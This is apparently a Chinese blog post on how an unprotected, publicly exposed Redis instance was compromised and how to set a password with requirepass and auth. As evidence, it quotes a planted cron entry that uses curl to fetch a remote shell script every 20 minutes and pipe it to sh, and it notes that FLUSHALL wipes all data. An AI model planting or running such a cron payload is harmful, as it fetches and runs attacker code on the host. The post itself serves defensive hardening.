一、为什么会被攻击
虽然Redis是有安全模式的,但是默认Redis没有开启密码验证,Redis被设计成仅有可信环境下的可信用户才可以访问。为了方便,在测试时直接将redis配置文件中的
bind 127.0.0.1
给注释掉了,并且关闭了防火墙,导致redis实例会监听所有的连接,从而被攻击。如果灭有设置密码(或很简单)就很容易会被攻击到,导致
数据丢失
(一个FLUSHALL命令就会清空Redis的所有数据),被植入其他内容。
举个例子:我的被攻击后写入了一些其他内容如下:
查询一下某一个键的内容为如下形式:(不是很懂,应该被植入了一些脚本文件)
"\t\n*/20 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh\n\t"
二、认证机制
Redis提供了一个轻量级的认证方式,设置后,每一个连接在操作数据之前需要进行认证,密码由管理员在redis.conf的配置文件中明文设置,因为redis访问非常快,为了安全,密码一般较长且复杂,来防止暴力攻击。详细参考:
Redis安全性
三、设置密码
常用命令:
config get requirepass # 查询获取当前密码
config set requirepass 123456 # 将redis的密码设置为123456
auth 123456 # 进入redis之后,在执行命令之前需要通过此方式输入密码来验证
设置流程如下:
关于作者:
个人网站:http://beyonderwei.com
邮箱:beyonderwei@gmail.com
版权声明:本文为CSDN_X_W原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。